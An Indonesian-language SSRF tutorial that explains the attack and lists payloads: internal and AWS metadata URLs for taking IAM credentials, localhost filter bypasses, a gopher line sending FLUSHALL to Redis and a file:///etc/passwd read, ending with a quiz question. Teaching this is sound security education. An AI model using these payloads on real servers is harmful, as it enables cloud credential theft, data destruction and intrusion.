Apa Itu SSRF?
Server-Side Request Forgery (SSRF) memungkinkan attacker memaksa server melakukan request ke lokasi yang ditentukan attacker — termasuk layanan internal yang tidak bisa diakses dari luar.
Contoh Dasar
# Fitur fetch URL yang vulnerable
https://site.com/fetch?url=https://external.com/image.jpg
# SSRF — akses internal service
https://site.com/fetch?url=http://localhost/admin
https://site.com/fetch?url=http://192.168.1.1/
# AWS Metadata endpoint — KRITIS!
https://site.com/fetch?url=http://169.254.169.254/latest/meta-data/
AWS Metadata SSRF
Di server AWS, endpoint 169.254.169.254 menyimpan IAM credentials yang bisa digunakan untuk akses AWS penuh.
# Payload untuk ambil AWS credentials via SSRF
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response mengandung:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
Bypass Teknik
# Localhost bypass
http://127.0.0.1/
http://0.0.0.0/
http://[::]/ (IPv6)
http://0177.0.0.1/ (octal)
http://2130706433/ (decimal IP)
# DNS rebinding / redirect
# Gunakan domain yang resolve ke 127.0.0.1
http://localtest.me/ ← resolve ke 127.0.0.1
Protocol Smuggling
# Gopher protocol — SSRF to RCE
url=gopher://127.0.0.1:6379/_FLUSHALL
# File protocol
url=file:///etc/passwd
// CEK PEMAHAMAN
Mengapa SSRF ke endpoint 169.254.169.254 di server AWS dianggap Critical?
AKarena 169.254.169.254 adalah alamat database server
BEndpoint tersebut mengandung IAM credentials AWS yang bisa digunakan untuk akses resource cloud
CIni adalah admin panel server AWS
DMemberikan akses langsung ke file system server